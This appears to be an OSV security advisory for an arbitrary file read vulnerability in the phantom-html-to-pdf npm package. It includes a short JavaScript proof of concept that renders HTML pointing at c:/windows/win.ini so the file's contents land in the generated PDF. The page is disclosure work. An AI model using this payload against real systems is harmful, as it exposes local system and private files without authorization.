Lucene search

K
osvGoogleOSV:GHSA-6H7F-QWQM-35PP
HistoryNov 06, 2020 - 6:06 p.m.

Arbitrary File Read in phantom-html-to-pdf

2020-11-0618:06:16
Google
osv.dev
10

0.003 Low

EPSS

Percentile

65.7%

This affects the package phantom-html-to-pdf before 0.6.1.

PoC

var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
    html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
    var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
    console.log(pdf.numberOfPages);
    pdf.stream.pipe(output);
});
CPENameOperatorVersion
phantom-html-to-pdflt0.6.2

0.003 Low

EPSS

Percentile

65.7%